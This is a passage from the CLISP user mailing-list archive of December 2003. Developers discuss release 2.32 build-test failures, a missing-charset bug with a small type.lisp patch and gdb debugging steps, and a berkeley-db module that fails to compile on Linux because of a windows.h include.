Dec 2003 07:32:33 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id hBNCWX8M025281 for ; Tue, 23 Dec 2003 07:32:33 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id hBNCWXfL025278; Tue, 23 Dec 2003 07:32:33 -0500 Message-Id: <200312231232.hBNCWXfL025278@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sun, 21 Dec 2003 16:23:59 -0500) Subject: Re: [clisp-list] 2.32 looms! X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 04:33:01 2003 X-Original-Date: Tue, 23 Dec 2003 07:32:33 -0500 > Please get CVS HEAD and test it. Oracle and FastCGI modules look OK as do all my applications. However my build w/ CVS fails during the test phase; it wants "compiler.fas" and "stage/compiler.fas" to be the same, but instead they differ as follows: 4255c4255 < COMMON-LISP::TAGBODY (COMMON-LISP::PUSH) 21. #(#:G24724) :NAME --- > COMMON-LISP::TAGBODY (COMMON-LISP::PUSH) 21. #(#:G5384) :NAME 7661c7661 < #(#:G31129) :NAME COMMON-LISP::CONTINUE :INVOKE-FUNCTION --- > #(#:G11513) :NAME COMMON-LISP::CONTINUE :INVOKE-FUNCTION 7675c7675 < SYSTEM::ASSERT-ERROR-STRING 23. #(#:G31155) --- > SYSTEM::ASSERT-ERROR-STRING 23. #(#:G11539) 7685c7685 < #(#:G31181) --- > #(#:G11565) 7695c7695 < #(#:G31207) --- > #(#:G11591) Maybe some things got macro-ized and using gensyms now? I built with: ./configure \ --with-readline \ --with-dynamic-ffi \ --with-dynamic-modules \ --with-export-syscalls \ --with-module=wildcard \ --with-module=regexp \ --with-module=bindings/glibc \ --with-module=oracle \ --with-module=fastcgi \ --with-module=syscalls \ --build mysrc From rurban@x-ray.at Tue Dec 23 05:50:18 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYmvS-0005n3-OG for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 05:50:18 -0800 Received: from fox.mur.at ([193.171.120.7]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AYmvP-0006E2-5v for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 05:50:15 -0800 Received: from x-ray.at (RAH-KO.mur.at [193.171.120.202]) by fox.mur.at (Postfix) with ESMTP id CACFF3B22D for ; Tue, 23 Dec 2003 14:50:12 +0100 (CET) Message-ID: <3FE8481D.8060405@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.6a) Gecko/20031030 MultiZilla/1.5.0.4h X-Accept-Language: de-at, de, en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.32 looms! References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 05:51:02 2003 X-Original-Date: Tue, 23 Dec 2003 14:50:21 +0100 Sam Steingold schrieb: > See for details. > See for details. When will the impnotes be updated? => "CLISP version 2.31" -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@alphatech.com Tue Dec 23 07:17:20 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYoHf-0001fn-Rf for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 07:17:19 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AYoHf-0004o9-75 for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 07:17:19 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBNFH7B20665; Tue, 23 Dec 2003 10:17:07 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Reini Urban Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3FE8481D.8060405@x-ray.at> (Reini Urban's message of "Tue, 23 Dec 2003 14:50:21 +0100") References: <3FE8481D.8060405@x-ray.at> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 07:18:03 2003 X-Original-Date: Tue, 23 Dec 2003 10:17:07 -0500 > * Reini Urban [2003-12-23 14:50:21 +0100]: > > Sam Steingold schrieb: >> See for details. >> See for details. when cons.org were operational, the impnotes rebuilt nightly were available there. > When will the impnotes be updated? > => "CLISP version 2.31" after the release is made -- Sam Steingold (http://www.podval.org/~sds) running w2k If You Want Breakfast In Bed, Sleep In the Kitchen. From sds@alphatech.com Tue Dec 23 07:17:45 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYoI3-0001kK-Fx for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 07:17:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYoI2-0005SI-Vr for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 07:17:43 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBNFHTB20837; Tue, 23 Dec 2003 10:17:29 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200312231232.hBNCWXfL025278@van-halen.alma.com> (John K. Hinsdale's message of "Tue, 23 Dec 2003 07:32:33 -0500") References: <200312231232.hBNCWXfL025278@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 07:18:05 2003 X-Original-Date: Tue, 23 Dec 2003 10:17:29 -0500 > * John K. Hinsdale [2003-12-23 07:32:33 -0500]: > > 4255c4255 > < COMMON-LISP::TAGBODY (COMMON-LISP::PUSH) 21. #(#:G24724) :NAME > --- > > COMMON-LISP::TAGBODY (COMMON-LISP::PUSH) 21. #(#:G5384) :NAME should be fixed now. -- Sam Steingold (http://www.podval.org/~sds) running w2k My inferiority complex is the only thing I can be proud of. From sds@alphatech.com Tue Dec 23 07:19:43 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYoJz-0001pn-8O for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 07:19:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYoJy-0005vc-Oi for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 07:19:42 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBNFJXB21382; Tue, 23 Dec 2003 10:19:34 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Douglas Philips Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Douglas Philips's message of "Tue, 23 Dec 2003 00:41:17 -0500") References: <6CF24A06-348C-11D8-8354-000393030214@mac.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 07:20:01 2003 X-Original-Date: Tue, 23 Dec 2003 10:19:33 -0500 > * Douglas Philips [2003-12-23 00:41:17 -0500]: > > % ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW > i i i i i i i ooooo o ooooooo ooooo ooooo > I I I I I I I 8 8 8 8 8 o 8 8 > I \ `+' / I 8 8 8 8 8 8 > \ `-+-' / 8 8 8 ooooo 8oooo > `-__|__-' 8 8 8 8 8 > | 8 o 8 8 o 8 8 > ------+------ ooooo 8oooooo ooo8ooo ooooo 8 > > Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 > Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 > Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 > Copyright (c) Bruno Haible, Sam Steingold 1999-2003 > > > WARNING: No initialization file specified. > Please try: ./lisp.run -M lispinit.mem > > > (do-external-symbols (sym (find-package "CHARSET")) > (print sym) > (make-encoding :charset (encoding-charset (symbol-value sym)))) > > *** - EVAL: undefined function DO-EXTERNAL-SYMBOLS > 1. Break> you said you managed to build CLISP by commenting out some stuff, right? so use that image! -- Sam Steingold (http://www.podval.org/~sds) running w2k If you think big enough, you'll never have to do it. From dgou@mac.com Tue Dec 23 07:30:10 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYoU6-0002k2-Fd for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 07:30:10 -0800 Received: from smtpout.mac.com ([17.250.248.46]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AYoU6-0000dl-62 for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 07:30:10 -0800 Received: from webmail02.mac.com (webmail02-en1 [10.13.11.144]) by smtpout.mac.com (8.12.6/MantshX 2.0) with ESMTP id hBNFU9Ap022827 for ; Tue, 23 Dec 2003 07:30:09 -0800 (PST) Received: from webmail02 (localhost [127.0.0.1]) by webmail02.mac.com (8.12.6/8.12.2) with ESMTP id hBNFU9Cj008013 for ; Tue, 23 Dec 2003 07:30:09 -0800 (PST) Message-ID: <2197350.1072193408970.JavaMail.dgou@mac.com> From: Douglas Philips To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 07:31:01 2003 X-Original-Date: Tue, 23 Dec 2003 10:30:08 -0500 On Tuesday, December 23, 2003, at 10:19AM, Sam Steingold wrote: >> > (do-external-symbols (sym (find-package "CHARSET")) >> (print sym) >> (make-encoding :charset (encoding-charset (symbol-value sym)))) >> >> *** - EVAL: undefined function DO-EXTERNAL-SYMBOLS >> 1. Break> > >you said you managed to build CLISP by commenting out some stuff, right? >so use that image! When I did that (I won't be back to being at that system until tomorrow :-( ) it printed many many strings (dozens) with no errors. I'm wondering if switching back to the commented out code (in type.lisp, the section that says there is now a faster version in C) might not shed some light. I'll try again tomorrow with further debugging, but not sure what direction I should take that. Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2197350.1072193408970.JavaMail.dgou@mac.com> (Douglas Philips's message of "Tue, 23 Dec 2003 10:30:08 -0500") References: <2197350.1072193408970.JavaMail.dgou@mac.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 08:09:01 2003 X-Original-Date: Tue, 23 Dec 2003 11:07:54 -0500 > * Douglas Philips [2003-12-23 10:30:08 -0500]: > > I'll try again tomorrow with further debugging, but not sure what > direction I should take that. 1. get a working lispinit.mem - comment out whatever you want, just get an image (e.g., try the appended patch). 2. start CLISP with that image and evaluate the DO-EXTERNAL-SYMBOLS form I sent you the other day. it will print plenty of junk, but the last message before the error will tell you which encoding is missing on your system. 3. try the appended patch and see if that solves the original problem. 4. *OPTIONAL* install gnu libiconv and see if that solves the original problem. -- Sam Steingold (http://www.podval.org/~sds) running w2k God had a deadline, so He wrote it all in Lisp. --- type.lisp.~1.49.~ 2003-07-22 19:42:26.104255800 -0400 +++ type.lisp 2003-12-22 10:57:31.654212800 -0500 @@ -1342,7 +1342,10 @@ (defun get-charset-range (charset &optional maxintervals) (or (gethash charset table) (setf (gethash charset table) - (charset-range (make-encoding :charset charset) + (charset-range (if (and (symbolp charset) + (encodingp (symbol-value charset))) + (symbol-value charset) + (make-encoding :charset charset)) (code-char 0) (code-char (1- char-code-limit)) maxintervals)))) ;; Fill the cache, but cache only the results with small lists of intervals. From dgou@mac.com Tue Dec 23 14:03:09 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYucP-0004Oq-3d for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 14:03:09 -0800 Received: from a17-250-248-88.apple.com ([17.250.248.88] helo=smtpout.mac.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYucO-0007Ag-M3 for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 14:03:08 -0800 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id hBNM3749012939 for ; Tue, 23 Dec 2003 14:03:07 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin08/MantshX 3.0) with ESMTP id hBNM37HO023713 for ; Tue, 23 Dec 2003 14:03:07 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v609) In-Reply-To: References: <2197350.1072193408970.JavaMail.dgou@mac.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Douglas Philips To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.609) X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.1 LINES_OF_YELLING_2 BODY: 2 WHOLE LINES OF YELLING DETECTED 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 14:04:06 2003 X-Original-Date: Tue, 23 Dec 2003 17:03:05 -0500 On Dec 23, 2003, at 11:07 AM, Sam Steingold wrote: >> * Douglas Philips [2003-12-23 10:30:08 -0500]: >> >> I'll try again tomorrow with further debugging, but not sure what >> direction I should take that. > > 1. get a working lispinit.mem - comment out whatever you want, just get > an image (e.g., try the appended patch). The appended patch did not work. I used the "fix" I posted a few days ago. > > 2. start CLISP with that image and evaluate the DO-EXTERNAL-SYMBOLS > form > I sent you the other day. > it will print plenty of junk, but the last message before the error > will tell you which encoding is missing on your system. % ./clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 [1]> (do-external-symbols (sym (find-package "CHARSET")) (print sym) (make-encoding :charset (encoding-charset (symbol-value sym)))) CHARSET:ISO-2022-KR CHARSET:MAC-ROMAN CHARSET:CP1253 CHARSET:UNICODE-32-LITTLE-ENDIAN CHARSET:UNICODE-16-LITTLE-ENDIAN CHARSET:CP1254 CHARSET:MAC-SYMBOL CHARSET:ISO-2022-JP CHARSET:CP1255 CHARSET:MAC-THAI CHARSET:CP1256 CHARSET:UTF-16 CHARSET:ISO-2022-CN CHARSET:UNICODE-32-BIG-ENDIAN CHARSET:UNICODE-16-BIG-ENDIAN CHARSET:CP1257 CHARSET:MAC-UKRAINE CHARSET:NEXTSTEP CHARSET:MAC-CYRILLIC CHARSET:TIS-620 CHARSET:CP861-IBM CHARSET:CP865-IBM CHARSET:CP869-IBM CHARSET:MAC-CENTRAL-EUROPE CHARSET:CP869 CHARSET:KOI8-U CHARSET:UCS-2 CHARSET:CP1133 CHARSET:CP949 CHARSET:CP852-IBM CHARSET:UCS-4 CHARSET:KOI8-R CHARSET:EUC-TW CHARSET:CP860 CHARSET:EUC-JP CHARSET:CP861 CHARSET:BIG5 CHARSET:ISO-8859-9 CHARSET:CP862 CHARSET:CP775 CHARSET:EUC-KR CHARSET:CP863 CHARSET:MAC-DINGBAT CHARSET:ISO-8859-8 CHARSET:CP864 CHARSET:MAC-HEBREW CHARSET:MULELAO-1 CHARSET:CP865 CHARSET:CP866 CHARSET:ISO-2022-JP-1 CHARSET:CP860-IBM CHARSET:CP864-IBM CHARSET:TCVN CHARSET:ISO-8859-3 CHARSET:ISO-8859-2 CHARSET:ISO-2022-JP-2 CHARSET:ISO-8859-1 CHARSET:CP737 CHARSET:MAC-ARABIC CHARSET:ISO-8859-7 CHARSET:ISO-8859-6 CHARSET:ARMSCII-8 CHARSET:ISO-8859-5 CHARSET:ISO-8859-4 CHARSET:GB18030 CHARSET:WINDOWS-1258 CHARSET:GBK CHARSET:ISO-8859-16 CHARSET:UNICODE-32 CHARSET:KOI8-RU CHARSET:WINDOWS-1255 CHARSET:JOHAB CHARSET:ISO-8859-14 CHARSET:VISCII CHARSET:ISO-8859-15 CHARSET:WINDOWS-1254 CHARSET:CP863-IBM CHARSET:WINDOWS-1257 CHARSET:UNICODE-16 CHARSET:ISO-8859-13 CHARSET:HP-ROMAN8 CHARSET:WINDOWS-1256 CHARSET:BIG5-HKSCS CHARSET:ISO-8859-10 CHARSET:WINDOWS-1251 CHARSET:WINDOWS-1250 CHARSET:WINDOWS-1253 CHARSET:WINDOWS-1252 CHARSET:UTF-8 CHARSET:GEORGIAN-PS CHARSET:HZ CHARSET:EUC-CN CHARSET:MAC-GREEK CHARSET:CP874-IBM CHARSET:GEORGIAN-ACADEMY CHARSET:CP950 CHARSET:CP1258 CHARSET:CP850 CHARSET:UTF-7 CHARSET:CP437 CHARSET:MAC-CROATIAN CHARSET:MAC-ROMANIA CHARSET:CP874 CHARSET:CP862-IBM CHARSET:JIS_X0201 CHARSET:CP852 CHARSET:ASCII CHARSET:ISO-2022-CN-EXT CHARSET:CP932 CHARSET:CP855 CHARSET:MACINTOSH CHARSET:SHIFT-JIS CHARSET:CP857 CHARSET:CP1250 CHARSET:JAVA CHARSET:CP936 CHARSET:CP1251 CHARSET:CP437-IBM CHARSET:MAC-ICELAND CHARSET:CP1252 CHARSET:MAC-TURKISH NIL [2]> no error happened. From sds@alphatech.com Tue Dec 23 15:20:37 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYvpN-00075p-RF for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 15:20:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYvpM-0008Ko-QE for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 15:20:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBNNKOK23423; Tue, 23 Dec 2003 18:20:25 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Douglas Philips Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Douglas Philips's message of "Tue, 23 Dec 2003 17:03:05 -0500") References: <2197350.1072193408970.JavaMail.dgou@mac.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 23 15:21:02 2003 X-Original-Date: Tue, 23 Dec 2003 18:20:24 -0500 So I was missing the point. sorry. please try --with-debug, it will tell you which file/line signals the error. also, please run under gdb: (gdb) break OS_error (gdb) run -q -norc -B . > (load "init.lisp") (gdb) where (gdb) zbacktrace please use zout/xout to figure what is going on. -- Sam Steingold (http://www.podval.org/~sds) running w2k If you're beeing passed on the right, you're in the wrong lane. From a.bignoli@computer.org Sat Dec 27 16:17:35 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AaOch-0007Qo-Hd for clisp-list@lists.sourceforge.net; Sat, 27 Dec 2003 16:17:35 -0800 Received: from iron-c-2.tiscali.it ([212.123.84.82] helo=mailr-2.tiscali.it) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AaOPI-00044x-L5 for clisp-list@lists.sourceforge.net; Sat, 27 Dec 2003 16:03:44 -0800 Received: from ppp-62-10-39-225.dialup.tiscali.it (HELO he.19216810.loc) (62.10.39.225) by mailr-2.tiscali.it with ESMTP; 28 Dec 2003 00:58:34 +0100 X-BrightmailFiltered: true Received: from he.19216810.loc (IDENT:25@localhost [127.0.0.1]) by he.19216810.loc (8.12.10/8.12.10) with ESMTP id hBRNxUS7000922 for ; Sun, 28 Dec 2003 00:59:31 +0100 Received: (from aurelio@localhost) by he.19216810.loc (8.12.10/8.12.10/Submit) id hBRI0vs4016553; Sat, 27 Dec 2003 19:00:57 +0100 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16365.51417.155806.135155@he.19216810.loc> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.17 under Emacs 21.3.2 Subject: [clisp-list] berkeley-db module: for Windows only? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 27 16:18:00 2003 X-Original-Date: Sat, 27 Dec 2003 19:00:57 +0100 I tried to compile the berkeley-db module under Linux, but I got the following error from GCC 3.2.3: gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I../ -c bdb.m.c -o bdb.o In file included from bdb.c:14: config.h:35:1: warning: "PACKAGE_BUGREPORT" redefined In file included from bdb.c:8: ../clisp.h:123:1: warning: this is the location of the previous definition In file included from bdb.c:14: config.h:38:1: warning: "PACKAGE_NAME" redefined In file included from bdb.c:8: ../clisp.h:124:1: warning: this is the location of the previous definition In file included from bdb.c:14: config.h:41:1: warning: "PACKAGE_STRING" redefined In file included from bdb.c:8: ../clisp.h:125:1: warning: this is the location of the previous definition In file included from bdb.c:14: config.h:44:1: warning: "PACKAGE_TARNAME" redefined In file included from bdb.c:8: ../clisp.h:126:1: warning: this is the location of the previous definition In file included from bdb.c:14: config.h:47:1: warning: "PACKAGE_VERSION" redefined In file included from bdb.c:8: ../clisp.h:127:1: warning: this is the location of the previous definition bdb.c:32:22: windows.h: No such file or directory make[1]: *** [bdb.o] Error 1 At the beginning of bdb.c there are some #ifdefs, but it seems that windows.h is always included: #if defined(__CYGWIN__) # define UNIX_CYGWIN32 #endif #define WIN32_LEAN_AND_MEAN /* avoid including junk */ #if defined(UNIX_CYGWIN32) || defined(__MINGW32__) /* `unused' is used in function declarations. */ # undef unused # define ULONGLONG OS_ULONGLONG # define ULONG OS_ULONG # include # undef ULONG # undef ULONGLONG # define unused (void) #else # undef unused # include # define unused #endif From sds@alphatech.com Thu Jan 01 11:09:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net 